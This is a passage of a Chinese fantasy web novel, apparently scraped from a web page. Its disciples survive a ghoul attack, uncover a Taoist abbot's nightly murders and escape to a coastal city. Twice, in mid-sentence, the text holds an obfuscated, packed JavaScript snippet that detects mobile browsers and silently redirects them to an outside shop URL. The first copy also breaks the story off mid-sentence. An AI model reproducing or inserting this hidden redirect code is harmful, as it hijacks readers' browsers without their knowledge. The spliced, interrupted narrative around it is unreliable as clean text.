李玉真趁机使出法咒,一大股流水旋转着绞住了伥鬼,哗地一声把它们绞成了飞灰。 段星河跟那额红人打了片刻,身体被那股力量涨的生疼,肉/体仿佛随时会四分五裂。那股力量太强大了,不但对方不是他的对手,就连他自己也无法承受。 必须速战速决—— 他看准了时机,一剑朝那人脸上斩过去。额红人躲闪的迟了半步,炽烈的剑气把面具斜斜斩成了两半,叮的一声落了下去。 那人一诧,仿佛见不得光似的,连忙抬起衣袖挡住了脸。 带头的一慌,其他人都害怕起来,甚至那些行尸走肉一般的伥鬼,也对他强大的力量产生了反应,纷纷向后退去。 视线里的东西一阵阵扭曲着,段星河喘着气,散发出一股强烈的煞气。汗水淌下来,青筋和血管暴起,红色的血丝从胸口向四周蔓延,蜘蛛网一般延伸到了他的脖颈上。他知道自己支撑不了太久,咆哮道:“给我滚——” 那些白袍人像看怪物一样看着他,这青年的力量来的太过古怪,势如排山倒海一般,无人能挡。额红人意识到自己不是他的对手,后退了几步,摆手道:“撤!” 其他人听从他的吩咐,纷纷逃了。剩下一些没有影子的伥鬼,仍然立在原地,一个个摇头晃脑的,仿佛陶醉在那股强大的煞气之中。段星河怒道:“你们怎么不走?” 他一发话,那些伥鬼顿时匍匐在地上,就像忠诚的奴仆一样,等候他的吩咐。步云邪诧异道:“它们这是什么意思?” 李玉真想了想,道:“这些伥鬼拜服绝对的力量,可能它们觉得段兄身上的煞气很厉害吧。” 伏顺嫌弃道:“谁要它们崇拜,怪吓人的。” 段星河知道自己撑不了多久,一会儿煞气散去,这些妖魔鬼怪就要反水。他叱道:“滚!” 那帮伥鬼十分听话,立时化作一缕缕白雾,消失在他们眼前了。 终于滚了—— 段星河的胸口疼得厉害,从刚才就在强撑着,好不容易等到那帮人消失,身上的劲儿一松,重重地倒在了地上。 众人吓了一跳,连忙围了上去,纷纷道:“大师兄,你没事吧!” 段星河胸前的衣裳都被涨破了,一个红色的印记从心脏向四周延伸,煞气便是从这印记中爆发出来的。步云邪伸手一碰,一股强烈的煞气顺着指尖窜进了他的体内,极其霸道强悍。步云邪像是被雷击了一般,顿时缩回了手指。 这么强烈的痛苦,自己碰一下都受不了,他是怎么承受住的? 先前他在采石场遇到危险时,这个印记便爆发出了极强的力量。它虽然救了他两次,这么强烈的煞气已经远远超过了一个普通人能承受的程度。段星河蜷着身体不住打滚,眼睛里布满了红血丝,发出了痛苦的低吼。 “啊啊啊——好疼……啊啊啊啊啊——” 步云邪顾不上别的,凝聚了全身的灵力按在他胸口的印记上,想把这股煞气压制住。灼热的痛感从手心传来,就像一根烧红的钉子,被铁榔头一下又一下地敲进来。 “嗡——” 步云邪眼前的视线猛地扭曲了一下,感觉到那股力量在抵抗自己。他咬紧了牙关,把自己的灵力灌注进去,渐渐唤起了他体内的正气。两股力量合力,终于把那股灼热的煞气压制住了。 其他人在旁边站着,连大气都不敢出。段星河的脸色由红转白,人也渐渐安静下来,已经昏睡过去了。步云邪长长吐出一口气,浑身都被冷汗湿透了。李玉真关切道:“怎么样?” “情况不太好,”步云邪道,“他体内有一股煞气,我暂且压制住了。” 东方渐渐发白,阴气消散,暂时不必担心那帮白袍人再回来了。这一晚上发生的事太多了,大家都十分疲惫。李玉真道:“赶紧回去歇着吧,好好养几天再说。” 赵大海扛起了段星河,伏顺收拾起了行李,吭哧吭哧地跟在后面。李玉真背着行囊,和步云邪互相搀扶着,一起往回走去。 天亮时分,众人灰头土脸地回了长生观。观里的道士们已经做完了早课,小道童扫着地,被他们的模样吓了一跳,道:“哎呀,这是怎么啦?” 步云邪道:“在外头遇到了点意外,我师兄受了伤。劳烦小兄弟给我们找个地方歇一歇。” 小道童道:“昨天就准备好了,你们一晚上没回来,师父还担心的不得了,想出去找你们呢。” 他带着众人往后院走去,穿过一个月洞门,是一个待客的小院子,三面都是厢房。 小道童带他们进了屋,片刻又送了些素包子和茶水过来。众人十分感激,道:“多谢你啦。” 小道童道:“不用客气,师父说修行之人要以慈悲为怀。你们好好休息,缺什么只管跟我说。” 赵大海一路把段星河扛回来太累,此时已经困得不行了,他靠在一旁的椅子上,嘴里含着半个包子就睡着了。伏顺跟他靠着头,两个人此起彼伏地打着呼噜。 本来就够心烦的了,他们还在这里不消停。步云邪使出一道灵光,弹了伏顺的脑瓜一下,道:“别在这里闹人,去隔壁睡。” 那两人睁开了眼,这才意识到自己一不小心就打起瞌睡来了。两个人迷迷瞪瞪地去了隔壁,没过多久,低低的鼾声又响起来了。段星河躺在床上,印堂带着一股青气。步云邪道:“我照看他吧,你去休息。” 李玉真道:“你消耗的多,还是我来吧。” 步云邪摇了摇头,不看着他不放心,道:“我不困。” 李玉真知道他俩是从小一起长大的,段星河受了伤,他肯定担心。李玉真站起来道:“那我等会儿再来替你。” 桌子上有个竹编的果篮,墨墨已经钻了进去,跟几个苹果和橘子睡在了一起,长鼻子耷拉在篮子外面,随着呼吸一动一动的。折腾了这么久,它也累坏了。 步云邪低头看着段星河,方才煞气爆发出来,将他的皮肤撕出了许多细小的血口。步云邪给他敷了金疮药,拿绷带把他身上的剑伤处理好了。段星河睡得极沉,仿佛什么都感觉不到,眉头却一直皱着。 他胸口的印记狰狞可怖,虺神自称这是它赐予被选中之人的祝福,实际上却与诅咒没什么区别。这个印记带给段星河强大的力量的同时,又在折磨着他,说不定什么时候,那股力量就会把他撕碎。 步云邪十分担忧,这事不能再拖了,得想办法把这个印记去掉才行。 屋里静悄悄的,步云邪守了他一阵子,眼皮直打架,便在靠窗的一张小榻上躺下了。不知过了多久,段星河醒了过来,他的记忆还停留在昨天夜里,浑身紧绷着弦,下意识就去抓身边的剑,却摸了个空。 他的佩剑放在桌上,灰色的帐子垂在床边,这里是长生观,自己已经平安回来了。他暗中运气,感觉那股强烈的煞气已经平息了,身体上有些撕裂的伤口,大的伤口已经被包扎起来了。 他微微一动,身上还是有些疼痛。步云邪躺在对面的榻上,睡得很沉。昨天夜里若不是他使金光咒拖延了一阵子,自己肯定会伤的更重。段星河悄然起身,拿了个毛毯过去,轻轻地盖在了他身上。 在逍遥观里,其他师弟妹的年龄都跟他差着一截,只有步云邪和他差不多大。两个人小时候一起读书玩耍,如今长大了也互相依靠。前路茫茫,他们不知道还要在这个光怪陆离的世界里待多久,但只要有步云邪在,他的心里就踏实。 窗台上放着一盆兰花,长长的叶子垂下来,一朵白色的小花落在了步云邪的领子上。段星河轻轻地把花拿下来,步云邪若有所感,长长的睫毛动了动,睁开了眼。 “你醒了,”步云邪坐了起来,“身上还疼么?” 段星河的神色平静,道:“我没事了,其他人呢?” 步云邪道:“都去休息了。别惦记别人了,你先把伤养好再说。” 两人正说着话,门外轻轻地响了几声。段星河以为是伏顺他们,道:“进来吧。” 方白鹭推门走了进来,身边跟着他的长徒和一名小道童。段星河有些意外,道:“方掌教,你怎么来了。” 方白鹭和气道:“我听说你们受伤了,想着这会儿应该歇好了,便带了些药过来。” 他从怀里拿出几瓶金疮药和一些补气的丹药,放在了桌上。段星河道:“多谢,我们已经没事了。” 方白鹭撩衣坐下,关切道:“发生了什么事?” 步云邪把昨天晚上遇见伥鬼的事说了,老道长的面色凝重,道:“唉,这事怪我……其实那些怪人以前也会在附近出没。老朽不想惊扰几位大人,想着也未必会碰到,就没提此事。没想到几位的运气不好,一出去就遇上了。老夫有错,该打、该打!” 段星河等人出门之前,他便说过天黑之前一定要回来,免得惊扰了玄武。众人当时并没有放在心上,却没意识到他已经提醒了这些年轻人,夜里会有危险。 段星河道:“道长莫要自责,是我们自己耽搁了回来的时辰。” 他想了想,又道:“我听那些伥鬼说,它们的头领是夜尊,道长知道是怎么回事么?” 方白鹭沉吟了片刻,道:“它们口中的夜尊应该就是夜游神。” 步云邪凑得近了一些,道:“道长能具体说说么?” 方白鹭的神色肃然,道:“虺神的座下有一双左膀右臂,一为日游神,一为夜游神。信奉夜游神的人认为黑夜是属于他们的,天一黑,他们就集结在一起,身穿白色长袍,驱役着伥鬼到处游荡掠夺,散布恐惧,名曰替夜游神夜巡。” 段星河道:“那是一个宗门么?” 方白鹭摇了摇头,道:“算是一个组织,神州大地上各处都有他们的踪迹,凡是信奉虺神的人都可以加入。” 段星河皱起了眉头,若是如此,夜里在外行走还有可能碰上那些伥鬼。他道:“道长见过他们么?” 方白鹭一副见怪不怪的模样,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段星河点了点头,方白鹭便带着弟子离开了。段星河感觉有些疲惫,又躺回了床上。他身上到处都是撕裂的伤口,区区筑基初期的肉身实在难以承受这么大的力量。他按了一下胸口,想起了黑暗中那条大蛇红幽幽的眼睛,心沉了下来。 明明不想再这样沉沦了,却还是又一次动用了它的力量。 他觉得自己的身体里仿佛有一头沉睡的野兽,不知道什么时候就会吞噬掉自己。 步云邪仿佛知道他在想什么,道:“别再让它爆发出来了,这煞气你驾驭不了的。” 段星河闭上了眼,道:“我知道了。” 夜色渐深,明月高悬。步云邪想着昨天遇险的事,心中烦闷,想去前头透一透气。庭院里松柏郁郁苍苍,他的神色里藏着忧虑。 几次煞气爆发都是在危难之际,他们其实别无选择。段星河不是不知道这么做的后果,而是抱着牺牲自己的决心这么做的。他身为大师兄,有责任心也好,要面子也罢,一直都在尽力保护别人。他身上的新伤叠着旧伤,从来没抱怨过。可如今这个情形,就算是铁打的人也要熬不住了。 他身上的每一处伤都是步云邪治的,他不希望他这么辛苦。可这个世界的邪修太多了,更有一些不可名状的东西防不胜防,他们行走在外,连自保都很不容易。 步云邪吹了一阵子风,徘徊着一筹莫展。他抬手拢了一下石青色的披风,缓步往回走去。 此时的道士们都在做晚课,外面没什么人。他路过一间偏殿,里头供奉的神像已经褪色了,供桌上摆着一盘苹果,一盘橘子,两根大红蜡烛,黄铜香炉里插着线香,袅袅地飘散着檀香的气息。 天色黑沉沉的,他本来没怎么在意,经过门口时,忽然感到了一股阴沉的气息。身后传来了一阵轻轻的声音,仿佛有人在嚼着什么,黏黏的,软软的。那东西的味道好像很不错,吃的人咂着嘴,十分陶醉。 “咯吱,咯吱,咯吱。” 步云邪下意识回头一望,见一个半透明的身影站在供桌前,正在吞吃一截蜡烛。红色的蜡油从它嘴边淌了下来,它伸出又尖又长的舌头,贪婪地在嘴边转了一圈,把它舔了进去。 ……是伥鬼! 可伥鬼怎么会出现在抓鬼的道观里,还这样大吃大嚼,也太嚣张了。 那情形太过可怖,步云邪生出了一股难以形容的恐惧。那伥鬼觉察到大殿门口站着个人,看了过来。它的面目模糊,只有一张硕大的嘴咧到耳根。它缓缓地歪过了头,似乎在考虑这个人类有没有看见自己。 这只伥鬼的个头比一般的伥鬼更大,身上散发着强烈的邪气,一看就不好对付。步云邪只身一个人,多一事不如少一事,便假装什么也没看见,淡定地转过身,沉默着走了。 他走在长廊上,四周回荡着他的脚步声,静的他发慌。夜风轻轻地撩着他的发丝,灌进他的衣领里,冰冷的寒意浸透他的每一寸肌肤。步云邪不确定那只大伥有没有跟来,暗自祈祷它离自己越远越好。 “喂——” 幽幽的声音传来,似乎有人在叹息,又像是风声。 步云邪听见了那个声音,浑身的寒毛都竖起来了,无论如何也不敢回头。 “啪嗒,啪嗒,啪嗒。” 轻轻的脚步声传来,它跟上来了,与他寸步不离。像这种恶鬼跟狼一样,常在夜里对行人呼喊拍肩。人的肩上有三把火,能驱散妖魔鬼怪。若是被扑灭了肩上的火,再一回头,便是一口被咬断喉咙的下场。 他有些后悔没把墨墨带出来,至少它能陪一陪自己,现在一个人走在黑漆漆的长廊上,实在有些顶不住。 “明天给它煮点牛肉干……它好像很喜欢吃苹果,给它买一点带上。” 大伥轻轻地对着他的脖子吹气,那股寒意让人毛骨悚然。步云邪想着儿子毛茸茸的手感,热乎乎的小肚皮,尽量转移注意力,心里却清楚,绝对不能回头。 到了屋前,几盏大红灯笼在庭院里亮着。那股阴邪之气畏惧光明,悄然消失了。步云邪感觉那家伙终于离开了,松了口气,这才意识到自己贴身的衣裳都被冷汗湿透了。 步云邪快步进了屋,在门上贴了一张镇宅符,总算安全了。他坐在床边,还心有余悸。这么清净的道观里,居然有伥鬼肆意出没,简直是关公面前舞大刀,不知天高地厚。 步云邪打算明天就把这件事告诉方白鹭,让他把那些不干净的东西都弄出去。 他受了大伥的惊吓,一直没睡踏实。到了后半夜,他听见外头有些动静,窸窸窣窣的仿佛是人的脚步声,很快就走远了。马上就要到寅时了,也许是这里的弟子起床做早课了。 步云邪左右睡不着,便穿衣起了床,想出去瞧瞧。今天是十六,月亮明晃晃地挂在夜空中,比昨天还要圆。微风吹过庭院,松柏轻轻摆动,透着一股清静祥和的气息。 长生观的掌教德高望重,待人亲切慈和。门下的弟子也都是些虔诚修道之人,踩死一条蜈蚣都要忏悔许久。这里看起来是一片修行的净土,但不知道为什么,气氛总有些怪异。 若是一定要说哪里不对劲,就是一种刻意的感觉。过度的慈爱与善良,小心翼翼的,好像在遮掩什么似的。 庭院深处亮着红幽幽的灯光,那座大殿外本来一直挂着一把锁,此时却大开着。步云邪悄然走了过去,躲在附近的松柏丛中。大殿里聚着黑压压的一群人,他看清了里头的情形,像猛地挨了一记重锤,登时睁大了眼。 一群身穿白色衣袍的人跪在高大的老君像前,他们的身上沾满了血,手上也沾着血迹,却一个个双手合十,向着面前的神像祈祷。 “弟子有罪,我杀了个路过的车夫,抢走了他的盘缠和货物,还吸取了他的魂魄做伥鬼。求祖师原谅弟子,弟子诚心忏悔……” 火光微微跳动,他身边又有人道:“弟子杀了个七十岁的老人,见他的小孙子在一旁啼哭,心烦起来也一并摔死了。弟子心中实在愧疚,求祖师原谅。” 又一人泪流满面,道:“弟子杀了个修道之人,夺走了他的内丹。我没有踏实修行,却走了捷径,实在罪孽深重。” 大殿中足足跪着十五六个白袍人,每个人的手上都沾满了鲜血,浑身发着抖、流着泪,不住向面前的神像磕头。 不断有身穿白袍的人从外面回来,摘下脸上的面具,扔下带着血的兵刃,跪在神像前忏悔。看这些人的打扮,正是昨天夜里在树林里袭击他们的那群伥鬼。方才的脚步声,便是他们从外头回来的声音。 步云邪明白了,这里的道士一入了夜便披上白袍,出去行凶掠夺,杀了人就回来忏悔。最初那天他们看到的那人,恐怕也不是为了踩死蜈蚣而后悔,而是在忏悔自己害了活人的性命。等忏悔完了,他们觉得自己没有了罪孽,便又加入夜巡的队伍,继续杀戮无辜之人。 那庄严大殿中,喁喁传来的与其说是忏悔,不如说是恶魔的低语。 月光流转着,映亮了那座庄严的神像。步云邪忽然注意到,在神像的背面,露出了一截黑色的蛇尾。他的心猛地一跳,这些神像的背面,居然隐藏着一具硕大的虺神像。 投身于暗夜之中,为邪神掠夺杀戮,这才是他们真正的信仰。 步云邪远远地看着那些白色的身影,心渐渐沉了下去。他本来以为长生观是难得的一方净土,没想到自己就落在了贼窝里,还以为他们都是大慈大悲之人。 这些秘密绝对不能被外人知道,步云邪清楚自己必须马上离开这里。可他的身体被强烈的恐惧慑住了,一时间竟无法动弹。 他一紧张,气息就浊了。跪在最前方的白袍人若有所感,回过头来,看向了他藏身的树丛。 步云邪极力收敛自己的气息,一动也不敢动。 火光照亮了那人的脸,他的面容苍老,神色里带着一股阴鸷的戾气,与平日里的慈眉善目迥然不同——却是这里的掌教方白鹭! 13.长生观 四 大殿中的火光微微跳动,照亮了方白鹭苍老的面容。 白日里德高望重的掌教真人,夜里却带着弟子行凶作恶,任谁也不敢相信这种事。 步云邪心跳的像擂鼓一般,尽力屏住气息,生怕被他发现。 一只乌鸦鸣叫了几声,扑棱棱地飞了起来,蹬得松枝一阵动荡。方白鹭以为是鸟雀的动静,放下了戒备,转过身道:“那帮钦天监的人怎么样了?” 长徒道:“带头的那小子伤的不轻,应该要养几天。” 他把手刀往脖子上一横,低声道:“师父,要不要趁这个机会,把他们——” 方白鹭也觉得段星河身上潜藏的力量太过强大,若是留着他,日后怕会有大患。他拿起了一双筊杯,合在手心里道:“是否除掉那几个小子,还请虺神示下。” 他凝神片刻,把筊杯向地上一抛。烛光照亮了新月形的红木片,两个阴面朝上,竟是怒卦! 方白鹭拾起筊杯,又接连掷了两次,居然都是怒卦,万事不成。长徒有些畏惧,下意识抬头看天,小声道:“虺神不许。” 方白鹭意识到那几个人是有点不同寻常。那小子身上带着虺神的力量,却懵懵懂懂的,什么都不知道。对于信奉虺神的人来说,那是求之不得的机缘,他却毫不珍惜,甚至十分排斥那股神力。 方白鹭供奉了虺神一辈子,做梦都想当它老人家的奴仆,虺神却偏偏选择了那个毛头小子,让他十分嫉妒。 他叹了口气,道:“是我还不够忠诚么?” 长徒一心惦记着他们身上的财物,道:“千年人参还没拿到手,还有那灵兽也挺不错的,就这么放过他们太可惜了。” 方白鹭也有些不甘心,却又不敢违逆神的旨意,道:“罢了,虺神不准动他。何况他们是钦天监的人,死在这里会很麻烦。昨天夜里没在林子里把他们杀了,就别妄动了。” 长徒便沉默下来,全听师父的吩咐。方白鹭看了一眼天色,道:“差不多了,都散了吧。” 一众白袍人纷纷起身,离开了大殿。那些人回到住处脱下白袍,便又恢复了道貌岸然的模样,照常练剑、诵经、洒扫,好像什么事都没发生过。步云邪已经先一步离开了那里,快步回到了屋里。 他掩上了门,心脏还在咚咚直跳,整个人像是从鬼门关转了一遭似的,手心都被冷汗湿透了。 难怪这道观里会有大伥堂而皇之地享用香烛,毫不怕人,原来这里本来就是万象门的地盘,那些伥鬼都是道士们豢养的邪灵。 步云邪本来还想提醒方白鹭他们小心提防伥鬼,没想到自己才是被耍的团团转的人。 他们初出茅庐,还以为外面的世界跟青岩山中一样,人人朴实可靠。如今亲眼见识了,才知道了什么叫人心险恶。这些人表面上是名门正派的弟子,暗地里却杀人夺宝、无恶不作。昨天夜里,他们应该就是为了抢夺千年人参去树林里的。若不是段星河爆发出力量,自己这些人恐怕已经被伥鬼杀了。 段星河听见了动静,醒了过来,道:“怎么了?” 步云邪快步走到床前,把方才看见的事跟他说了。段星河也吃了一惊,皱眉道:“难怪我总觉得这里阴沉沉的,果然有问题。” 他抬眼向窗外望去,幸亏天快亮了,要不然在这骇人的地方,连一晚上都难熬过去。段星河立刻道:“这里不能再待了,赶紧收拾东西离开。” 他起身穿上了外袍,步云邪道:“我去叫其他人。” 他推开门,忽然见一个矮小的身影猫着腰往外跑去,却是有人躲在窗下偷听。步云邪反应极快,一个箭步掠过去,一把揪住了那人的脖领子。那人被他提了起来,双脚不住踢蹬,连声道:“放开我,救命、救命——” 段星河追了出来,见步云邪抓着那个洒扫的小道童。要是让他出去报信就麻烦了,步云邪一把捂住了他的嘴,低声道:“想活就别出声。” 小道童的脸都白了,不敢挣扎了。旁边的屋门一动,李玉真听见声音,披着衣裳出来了。他打了个呵欠道:“怎么回事,大晚上的不睡觉,在这儿折腾什么?” 段星河道:“一会儿跟你说。” 之前他问过方白鹭夜游神的事,那老头儿说的语焉不详的。段星河寻思这小道童在长生观待了许久,应该知道不少这里的事,正好问一问他。 他把那小道童接过来,夹在胳膊底下带回了屋里,步云邪和李玉真跟着过来了,不知道他要干什么。段星河关上了门,啪地一下把一个长条凳放在他面前,沉声道:“坐。” 小道童十分害怕,靠着边坐了。段星河的手一直没离开他的喉咙,沉着脸道:“我问什么,你就答什么,要是敢有隐瞒,我就捏死你。” 小道童打了个寒战,连忙道:“我说就是了,你别杀我。” 段星河道:“你们为什么夜里出去害人?” 小道童的眼睛转来转去的,道:“什么害人,我们都是好人,从来不害人的。” 段星河把手一紧,小道童吓得叫了起来:“我说、我说,那不是害人……这叫夜巡,夜游神从前会在夜里带着部下杀人游猎,后来这个习俗流传下来,信奉夜尊大人的宗门都是这么修行的。我没参与过,他们嫌我本事差,又嫌我年纪小,只让我留下来看门。你要打要杀找他们去,别来为难我。” 段星河冷冷道:“少跟我东拉西扯的,那些伥鬼又是怎么回事?” 小道童道:“被师兄们杀掉的人会变成伥鬼,帮他们恐吓驱赶猎物。万象门、长生观和一些信奉虺神的散修会加入夜巡的队伍。修道的人吸取死者的内丹增长修为,伥鬼以猎物的恐惧为食。得到的阴邪之气越多,伥鬼就能吞噬掉越多同类,成为大伥,甚至能白天出来行走。” 步云邪和李玉真互相看了一眼,神色都凝重起来。段星河冷冷道:“你们每天都出去夜巡么?” 小道童道:“也不是,只有每个月十五、十六两天月亮最圆,太阴之气最盛的时候,我们才会出去夜巡。夜尊大人说过,不能竭泽而渔,天天晚上都出去的话,猎物就要被杀光了。” 段星河:“……” 众人没想到这帮恶魔还挺讲究的,在这些人的眼里,寻常的百姓跟猎物没什么区别。他们没有天天出去害人,也不是出于慈悲,只不过是为了留着大的生小的,让猎物持续供养自己罢了。 段星河道:“你们的夜尊是谁,在什么地方?” 小道童道:“夜尊大人名叫张子鸢,当年他受命于虺神,和日游神一起创建了虺教,传播福祉。后来他不知道去了什么地方,虺神也陷入了沉睡。这些年来,追随他的信徒非但没减少,反而越来越多了。我们长生观的祖师爷那么厉害,当年也只是夜尊手下的一个捣药小童。长生经就是夜尊他老人家传给我们祖师爷的。” 段星河微一扬眉,没想到那夜游神还会炼丹,看来他也正经修过几天道,不是条见人就杀的疯狗。他道:“你们如何供养虺神?” 小道童道:“虺神以阴性的力量为食,世间的痛苦和怨恨越多,虺神的力量就越强大。夜尊作为它最信赖的使者,会再次降临到我们身边。追随他们的人将会飞升成仙,顽抗他们的人,会万劫不复!” 他这么说着,仿佛想起了方白鹭传教时的情形,眼神十分高傲。 李玉真弹了他个脑瓜崩,道:“得意什么呢,不老实点,现在就让你万劫不复。” 小童想起了自己还受制于人,又气馁起来。 步云邪还是觉得有点奇怪,道:“这就在玄武山附近,你们也敢作这么多恶,不怕执明神君降罪么?” 小道童道:“灵龟的性情平和,负责保护白天;它背上的灵蛇性情阴冷,不拘我们做什么。夜里灵蛇睁开了眼,它自己也要捕猎的。” 他一副理所当然的样子,道:“失去了内丹的尸体会被藤蔓拖走,被灵蛇当做贡品吞噬掉。要不然它这么久不吃不喝不动,是怎么活下来的?” 众人都感到了一阵毛骨悚然,这地方被邪气侵扰,就连四圣兽都不庇佑凡人了。以前李玉真就说过,很多从外面来的人适应不了这里的环境,活不过半年就死了。当时段星河还不以为然,如今才意识到这个世界到底有多颠倒荒诞,恶意到处弥漫,让人无法直视。 他看了其他两人一眼,道:“还有什么要问的么?” 步云邪和李玉真摇了摇头,段星河便一掌劈在那小道童脖子后面,无情道:“你没用了,多谢。” 小道童身子一软,倒在了地上。段星河道:“叫上赵大海和伏顺,赶紧离开这里!” 几人收拾了东西,翻墙在侧门外等待。伏顺和赵大海悄悄去了牲口棚,把大车和马牵了出来。此时天还没亮,附近没有人。伏顺拉开门栓,赵大海驾着车从小门里出来了。 大车悄然向西而行,段星河的身体不好,改成坐车,李玉真替他骑马。 伏顺坐在他对面,还不知道发生了什么,道:“大师兄,你伤还没好,走这么急干什么?” 赵大海道:“不用问,都听大师兄的就是了。” 伏顺的心思多,眼睛动了动,道:“是不是那帮臭道士不怀好意,惦记上咱们的人参了?” 段星河道:“不光惦记人参,还惦记上咱们的命了。” 伏顺搔了搔头,觉得都是自己口无遮拦的错。他抬手打了自己个嘴巴,道:“我以后再乱说话,你就大嘴巴子抽我。” 段星河的伤口还疼的厉害,没心情说这些。他靠在车壁上,闭上眼想休息一会儿,忽听见不远处传来一众道士的呼喊声。他推开车门向后望去,就见方白鹭骑着马,带着十来名弟子追了出来。 李玉真扭头道:“不好,被他们发现了,快跑!” 夜色之中,方白鹭白色的须发在风中不住飘荡。他眼神气急败坏的,却强行露出一派慈和的笑容,道:“几位大人请留步,可是鄙观招待不周,各位为何一声招呼也不打,就匆匆离去啊?” 段星河草草一拱手,扬声道:“我等还有急事,就此告别了,观主不必再送!” 方白鹭还不甘心,道:“阁下身上有伤,为何不多住几日。我等还要跟几位探讨修炼之法呢。” 他已经向大幽的皇帝投了诚,至少要做一做表面的功夫。要不然得罪了钦天监的人,对他来说也是一桩麻烦事。 段星河道:“不必了,告辞。” 他说着吩咐道:“赶紧走!” 赵大海手里的马鞭啪地一甩,大车走得更快了。那帮人还在后面紧追不放,前头横着一条宽阔的大河,河里飘着些冰,水深大约到人胸口。河上有一座老旧的木头浮桥,靠几根粗麻绳吊着。 两匹骏马拉着车过了桥,压得吱吱嘎嘎直响。后头传来纷沓的马蹄声,那帮道士离他们越来越近了。自己这一行人知道了他们的秘密,这些邪道士怕是要杀人灭口。 步云邪等自己人都过了河,锵地一声拔出剑,砍断了浮桥的绳索。 哗啦一声,木桥坍塌下去,半截漂在了水上。几个长生观的道士渡桥到一半,连人带马摔进了河里,不住扑腾,呼喊道:“救命,救命——” 此时的河水冰冷刺骨,该让那些人吃点苦头。大部分道士被拦在了河对岸,费劲地捞起了落水的同门。其他人看着他们的马车渐行渐远,十分恼火。东方露出了鱼肚白,玄武山中的灵蛇闭上了眼,阴气渐渐消退。那群人无所依仗,气势弱了下来。 方白鹭眼看追不上了,又做出了一派道骨仙风的模样,扬声道:“小友来日经过,还请小住几日,老夫一直在此处等待各位。” 段星河没有回答,伏顺却道:“一帮伪君子,吃人不吐骨头,傻子才回去!” 那座浮桥要修起来,起码要半天的功夫,暂时不用担心他们会追上来了。马车越行越远,离开了玄武山的地界,众人这才松了口气。 李玉真想起刚才的情形,还心有余悸,道:“那帮道士也太吓人了,还想把人骗回去杀,当人都是傻子呢。” 步云邪道:“这地方的恶人太多,以后多长个心眼吧。” 众人沉默下来,本以为那些人亲切和善,谁想到他们背地里这样歹毒。几个人心里都有些沉,意识到这个世界尔虞我诈,遍地都是邪修和妖魔。想要活下去,就得狠下心来,要不然连命都保不住。 一行人向西南方向走了一天,傍晚时来到了白沙郡。这个郡的东边有一道海岸线,沙滩都是白色的,因此得名。不知为何,这里的修真者比别处更多,时常能看到拿着浮尘或是宝剑的修真者三三两两地结伴而行。 段星河透过车窗看着外头,心中纳罕,道:“这里怎么这么多道士?” 步云邪道:“都城本来也有不少,只不过官差到处抓人炼药,就显得比别处少了吧。” 李玉真笑了,道:“也不尽然,我记得凌烟阁的总舵就在白沙郡,过一阵子就要举行拍卖会了,这些人应该是奔着交易来的。” 这个世界灵力充沛,修真的宗门林立,光是见过的就有长生观和钦天监了。段星河道:“凌烟阁是做什么的?” 李玉真早年跟师父到处游历,见识过不少事,道:“凌烟阁是个中立的宗门,其实就是修真界的掮客组织,在各个国家都有分舵。他们经常接一些民间或官方的委托,派出一些斩妖除魔的任务,赚取中介费。任务给的报酬都挺丰厚的,缺钱的话可以留意一下公告牌。” 段星河想起之前在望海郡,见过镇子头上的公告牌上补丁摞补丁的,贴了不少悬赏。他当时只顾着找小雨了,没留意具体的内容。难怪总是有修真者围着公告牌,原来是个挣钱的门路。 他道:“那拍卖会呢?” 李玉真靠在车壁上道:“凌烟阁经常跟各路人打交道,人脉广嘛,每年都会组织一场拍卖会,让修真者交流手头的资源。里头卖的东西都挺贵的,买的都是一些宗师级的人物,咱们这种小鱼小虾去了也就是凑热闹。” 修炼的过程中,缺一味药或法宝,都让人焦头烂额。有这么个能交换资源的地方,倒是一件好事。步云邪产生了兴趣,道:“有机会的话,可以去看看。” 李玉真去过好几次了,觉得也就那么回事,懒懒道:“还要好一阵呢,到时候再说吧。” 马车进了城,远处晚霞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255272|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫天,一座座楼阁融在金红色的夕阳里,大街上人来人往,路边的饭馆冒出了热腾腾的香气。伏顺吸了吸鼻子,道:“哎呦,这牛肉面味儿真香,汤头肯定熬了挺久了。” 赵大海把鞭子往地上一抽,道:“快到驿馆了,落了脚咱们就出来吃饭。” 伏顺一想到要花自己的钱,改口道:“还是算了吧,驿馆的饭菜就挺好的。招待二师兄的规格还有三菜一汤呢,我蹭他块肉吃就行了。” 赵大海扭头道:“你就是抠门,还不承认。” 伏顺攒两个钱不容易,还想以后回去盖大房子娶漂亮媳妇。他道:“你懂什么,有免费的饭不吃白不吃,钱得花在刀刃上!” 一行人到了驿馆,出示了令牌,守卫纷纷行礼,道:“原来是钦天监的大人,快请进。” 驿丞得到了消息,快步出来迎接,连声道:“步司业远道而来,有失远迎,万望莫怪!” 步云邪淡淡道:“不必客气。” 晚风把他的发丝吹得微微摆动,他虽然穿着便服,却气质高华,让人心生敬慕。驿丞让人去停了车,亲自在前面为众人引路。步云邪等人走在庭院中,仆役让到路边,纷纷行礼道:“恭迎司业大人。” 皇帝已经把步云邪出来炼丹的事通知到各个郡,让各处的官员都不得怠慢,务必全力配合钦天监炼药。众人一见他们就如同见到了钦差大臣,对步云邪等人十分恭敬。 驿丞带他们去客房落了脚,送了饭来招待他们。朝廷的地盘比别处安全多了,夜里睡觉也不用时刻睁着一只眼提防,总算能好好休息一段时间了。 在驿馆待了几天,段星河一直惦记着小雨,他身体稍微好一点,就打算出门找人了。其他人不放心,跟着一起出来了。伏顺道:“大师兄,你回去歇着,我们找也是一样的。” 段星河摆手道:“在屋里待的太久了,闷得慌。你们该干嘛干嘛去,不用管我。” 